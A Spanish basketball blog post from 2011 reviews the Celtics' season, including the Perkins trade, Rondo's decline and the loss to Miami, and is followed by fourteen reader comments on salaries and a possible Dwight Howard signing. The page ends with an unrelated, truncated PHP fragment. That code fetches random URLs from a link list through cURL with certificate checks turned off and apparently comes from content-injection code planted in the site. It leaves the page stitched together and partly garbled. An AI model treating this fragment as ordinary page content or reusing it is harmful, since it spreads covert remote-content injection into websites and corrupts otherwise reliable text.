Boston Celtics: Aprobado

29 de June de 2011 por Viva_Dirk

Los Celtics han completado un buen año. Venían de presentarse por sorpresa en la gran final y de ponérselo realmente difícil a los Lakers. El Big Three era una año mayor y desde el principio la salud de Perkins fue un problema pero Rondo comenzó el año en números de MVP y un balance espectacular de 23-4 en el inicio les parecía otorgar el papel de primera fuerza del Este. Los Bulls eran más inexpertos, los Heat no funcionaban y Orlando estaba en horas bajas. Todo parecía a favor de este grupo de veteranos que dejaban en el camino a quien se le ponía por delante. Su balance antes del 24 de febrero era de 41-14, y entonces… traspasaron a Perkins.

Perkins prácticamente no había jugado durante la campaña pero el equipo funcionaba bien y él era una pieza básica aunque poco brillante en los esquemas de Doc Rivers. Llegaron Jeff Green y Nenad Krstic al parecer porque no se esperaba poder retener a Perkins cuando saliera al mercado. La realidad es que tras este traspaso el balance fue de 15-12 y casi nada pareció funcionar como antes, especialmente Rajon Rondo, con un preocupante bajón de forma.

Los play-offs dieron paso a un nuevo orden en la conferencia tras la victoria de Miami sobre Boston sin excesivos problemas. Nadie sabe que habria pasado con ‘los intocables de Doc Rivers’ sobre la cancha.

Lo mejor: Rondo ha dado un paso adelante en la jerarquía del equipo. Es un líder mas allá de los números y Pierce, Allen y Garnett parecen preparados para otro año de guerra. Green es una buena pieza para acompañar a Rondo en el futuro pero…

Lo peor: Se dejó ir a Perkins por cuestión de dinero y ha acabado renovando por 32.5 millones y 4 años. Es prácticamente seguro que Green no va a cobrar menos y aunque para el futuro es mejor jugador, para los pasados play-offs y el año que viene no lo necesitan demasiado. Y qué decir del papel de Shaq.

Jugando a GM

– Ainge es un especialista en elegir jugadores en la zona media-baja del draft. No parece que haya cambiado y JaJuan Johnson podría ser un suplente válido desde el primer minuto que pise el Garden.

– La renovación de Jeff Green no va a ser fácil. Ha completado buenas campañas en Oklahoma y es joven. Prácticamente están obligados a renovarlo después de lo que dieron por él. Un contrato de 8 millones por temporada se lo van a ofrecer varios equipos y es un precio por el que lo renovarán seguro. También hay que renovar a Glenn Davis algo mas barato que Green, digamos 6 millones por año.

– En el verano de 2012 acaban los contratos de Garnett, Allen y Wallace. Deberían convencer a los 2 primeros para firmar por un par de años a un salario de 2-3 millones por cabeza, para dejar hueco y seguir compitiendo al mismo tiempo.

Comenta

14 comentarios a esta entrada

  1. HisRoyalAirness dice:
    #1

    Mira que comentamos por aquí la cagada que era dejar ir a Perkins… Además nunca entenderé que un equipo de primer nivel piense antes en el futuro que en el éxito inmediato. Jeff Green viene bien para el proyecto post-big three? De acuerdo pero no es un jugador único, para eso ya tienes a Rondo y podrás pensar en rodearlo cuando sea el momento.
    Es una estupidez tocar algo que funciona y más por un tío que también termina contrato.

      Citar

  2. Cocinitas dice:
    #2

    Creo que la solucion para Boston tiene nombre y apellido: Dwight Howard. El año que viene tendrán suficiente espacio como para ofrecerle un buen contrato, deberán intentar renovar a Garnett y Allen por poco dinero claro y confiar en el salto de calidad de Green. Creo que es la mejor opción para estos Celtics ya que los buenos tiempos para el Big-Three creo que han llegado a su fin. Seria la mejor manera de reconstruir sin tener que perder competitividad confiando en la base Howard-Green-Rondo y cuando el actual big three se retire completar este nuevo con gente joven.

      Citar

  3. Txusma dice:
    #3

    Pues como dice Cocinitas, ojito a la opción Dwight Howard. A Howard le puede apetecer jugar con Rondo, Pierce y Green y a Garnett y Allen les puede entusiasmar lo suficiente el proyecto como para rebajarse sustancialmente el sueldo al estilo Malone y Payton con los Lakers. De momento, es la opción más sensata que he encontrado respecto al futuro de Howard.

      Citar

  4. Vader dice:
    #4

    Pues si, a toro pasado esta claro que no deberian haber hecho el traspaso de Perkins. Y ademas creo que los Thunder en algún momento tambien echaron de menos la anotación de Green y en playoff no sacaron el rendimiento que esperaban de Perkins.

    Sobre el tema Howard la opción Boston tiene muy buena pinta, sobretodo si Allen y Garnett estuvieran dispuestos a renovar por poco dinero… Seria una plantilla tremenda y Howard se convertiria en el nuevo Russell!!!

    La otra opción clara que ninguno comentais para Howard, y perdonad que barra para casa, son los Knicks… Stat+Carmelo+Howard y se puede renovar a Billups por la mid-level…

    Saludos!!

      Citar

  5. Esteban dice:
    #5

    bueno luego de la lucha q tuve en el post de los nets, todos comparten conmigo q allen y garnet bajaran sus sueldos enormemente, y los celtics incorporaran a howard, incluso traspasaria a rondo por jugadores de baquillo y ficharia a deron como agente libre, si boston puede gastar 80 millones nuevamente, ese equipo es mas q posible

    sobre perkins, no comparto en absoluto lo antes dicho, no se cual sera la importancia de el en un vestuario, pero en la cancha es muyu floja, cada vez q tira al aro es un ladrillo, y nisiquiera es un buen rebotero, ibaka con dos años en la liga fue el mejor interno en numeros y rendimientos en el thunder
    compartitia, si a los celtics los eliminaba orlando con un howard imparable, ahy quiza si la defensa de perkins se podria notar, pero estoy convencido q perkins es un jugador sobrevalorado desde todo punto de vista

    es poco entendible, como rivers, uso tanto a jermanie y a davis junto a garnet y no a kistic y murphy, podria haber sido otra la historia con los triples de murphy o el poder ofensivo de un joven kirstic

    no olvidemos la lesion de shaq, q durante la temporada regular rindio de gran forma, no volvio para los playoffs, o volvio hecho una piltrafa, pero si estabna podria haber sido otra la historia

    tamb es un error, traer a green, enorme jugador, pero apenas utilizado por rivers, si el entrenador no lo quiere no le renovaria, tendran q poner un salario muy alto, para un jugador que para rivers fue de rotacion

    jugando gm

    con los 5 titulares con contrato, incluyendo a jarmanie, renovaria a west, veria q quiere rivers de green y davis, ambos por bajo costo

    la temporada 2012, boston podria tener este plantel:

    rondo 11 millones
    allen, 3 millones
    pierce, 15 millones
    garnet, 3 millones
    howard, 20 millones

    west, 4 millones
    green, 8 millones
    davis 6 millones

    y algunos jugdores mas

    pensemos q para la proxima temporada terminan los contratos de garnet 21 millones, allen 10 millones, wallace, 7 millones, jarmaine 6 millones

    la otra alternativa, es no nenovar a green y davis, y cambiar a rondo y sus 11 millones por otros jugadores q completen en el banco, y usar los 8 y 6 millones de green y davis, en daron y darle a el esos 14 millones

      Citar

  6. -=TheKing=- dice:
    #6

    solución a todos los problemas de Celtics. Una suspensión de temporada de 3 meses de competición por el loockout y una mejora de tiros de 3 putos de Rondo que le lleve a un 39%.

      Citar

  7. Cocinitas dice:
    #7

    Jejeje si The King que razón tienes si a Rondo no le pudieran flotar en defensa y mejorara sus tiros libres seria el mejor base de la liga. Aún no entiendo a que se dedican este tipo de jugadores en verano la verdad, yo soy de los que pienso que el tiro con entrenamiento se mejora y mucho, y más aún los tiros libres.
    Esteban no creo que Deron firme por 14 millones ni por 15 por los años que lleva en la liga supongo que el primer año andará sobre los 18 y subiendo por lo tanto no lo veo viable, aún menos si se firma el nuevo convenio. De todas formas un quinteto Rondo, Allen, Pierce, Green, Howard con Davies, Garnett y algun jugador más son claros candidatos al anillo. Algunos creeran que los miembros del Big-Three estarán ya para la jubilación, pero yo no lo veo asi, quiza Garnett si acuse los años y las lesiones pero un tirador nato como Allen puede aportar al equipo hasta casi los 40 sino mirad a R. Miller en Indiana. Además defensivamente serian un hueso con Rondo y Pierce por fuera y la intimidación, tapones y rebotes de Howard.

      Citar

  8. Esteban dice:
    #8

    cocinitas, coicido, si te fijas aclare que esto era viable si boston podia gastar 80 millones como este año

    yo digo lo de deron, por q dentro de dos años el aporte ofensivo de garnett y allen disminuira mucho, inlcuso el de pierce, y por lo tano se necesita un base capaz q anotar, rondo no lo es, si deron,

    en cuanto a su salario, no creo q le haga la diferencia 2 o 3 millones un año, luego puede ir subiendo, y seria un atractivo enorme jugar en este equipo

    si no para hacelro mas sencillo que se queden con rondo, aunque ahy dependeran demasiado de lo q puedan hacer allen y garnett con 37 años cada uno, si tienen a deron, ambos veteranos pueden darse muchas mas licencias

      Citar

  9. HisRoyalAirness dice:
    #9

    No había caìdo en la posibilidad de Howard, la verdad…muy interesante.
    El problema real que ha tenido el Big Three, concretamente Allen y Pierce, no ha sido su producción ofensiva sino la defensiva. No fueron rival para Wade y Lebron y Wade hizo todo lo que quiso ante Sugar Ray. Creo que necesitan un 3 defensivo para playoffs porque el capitán ya no está para cubrir a James o a Melo

      Citar

  10. Txusma dice:
    #10

    Shane Battier queda libre…

      Citar

  11. Denise dice:
    #11

    La cagaron con el trade de Perkins a cambio de practicamente nada, y ahí perdieron las opciones de título.
    Jeff Green no pinta nada en este equipo, y las adquisiciones de los dos O’Neal tenían toda la pinta de convertirse en fracasos como finalmente sucedió. Yo traspasaría a Garnett que ya no es ni el 50% del que ganó el anillo, y buscaría jugadores jovenes.

      Citar

  12. TheDeerHunter dice:
    #12

    @Esteban: que conste en acta que NO TODOS compartimos tu visión (nunca mejor dicho) de lo que van a hacer los Celtics.
    De hecho, opino que si Allen y Garnett se bajan los sueldos como tú supones será porque ya no valdrán ni el mínimo, como le ha pasado a Shaq este año. En cualquier otra circunstancia habrán otros equipos que puedes tener por seguro les ofrecerán más pasta y posiblemente más años y muchos de ellos con aspiraciones a título. Entonces ya veremos donde queda ese idealizado amor a los colores que se supone incluye esa idea. En ningún caso concibo un equipo aspirante al anillo con dos titulares cobrando el mínimo (o alrededor del mínimo)
    La posibilidad de que los Celtics fichen a Howard yo nunca la he negado. Sólo digo que si así terminara sucediendo será bastante más complicado de lo que tú proponías inicialmente… y que en ningún caso incluirá a Deron Williams cobrando 15 kilitos. De hecho la cuestión salió a partir del nombre de Williams y es al que veo más alejado de este (llamémosle en un exceso verbal) teórico supuesto. Dudo mucho que los Celtics estén tan degenerados como para traspasar a Rondo del que, por cierto, conocemos muy bien la predilección que Rivers tiene sobre él (y con santa razón) Por calidad/precio hasta 2015 no tengo muy claro si existe algún otro base mejor en el mercado.
    Ah… y Green+Davis 14 millones!!! también apuesto a que serán algunos más o la opción que me parece más posible: que difícilmente estarán alguno o ninguno en ese equipo del 2013 que imaginas.

    Muy barato compran los céltics…

      Citar

  13. Txusma dice:
    #13

    Malone cobró 1.5 millones en aquellos Lakers de la 2003/2004 que perdieron la final con los Pistons y Payton cerca de 5 millones. 6 entre ambos. No es factible que Garnett y Allen cobren 6 u 8 kilos entre los 2 si saben que Howard llega al equipo? Yo creo que sí.

      Citar

  14. TheDeerHunter dice:
    #14

    Pues yo creo que lo de Malone es una excepción histórica y con muchas particularidades que no se dan con Garnett y Allen.
    Rebajas abrán, por supuesto, por muchos motivos. Pero dar por “segura” una rebajita de 20kilos año a 3 porque sí, me parece bastante fuerte. Seré raro yo. Vuelvo a recordar que esa rebaja simplemente vendrá condicionada por las ofertas que otros hagan.
    Por ejemplo, no vería ningún motivo más allá de ese presupuesto amor a los colores que ese año de repente vengan los, por decir alguien, Thunder con ¿15 kilos? para ambos y Allen&Garnett digan “oh, no que va… nos quedamos con los 6-8 que nos ofrecen los Celtics porque amamos muchismo la camiseta”. Sí, claro.

    Y después está a la inversa. ¿Estará dispuesto a ir Howard a los Celtics con el panorama de una plantilla tremendamente envejecida para ese hipotético 2013? Y otra más ¿Renunciará a su player option de 20 kilos para firmar un contrato de 20 kilos con qué garantías de ganar un anillo? ¿unos compañeros titulares de 35 años de media??

    Si no cambian radicalmente las reglas del juego con todo este lío del lockout opino que todo ese escenario de Rondo o Deron+Allen+Pierce+Garnett+Howard más loquesea… está altamente pillado con hilos.

    Aún así entiendo que los Celtics (como muchos otros) intentarán moverse para traer a Howard próximamente, pero mucho me temo que tendrán que empezar a moverse para esta misma temporada y que eso implicará la marcha inmediata de alguno de los de la vieja guardia.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>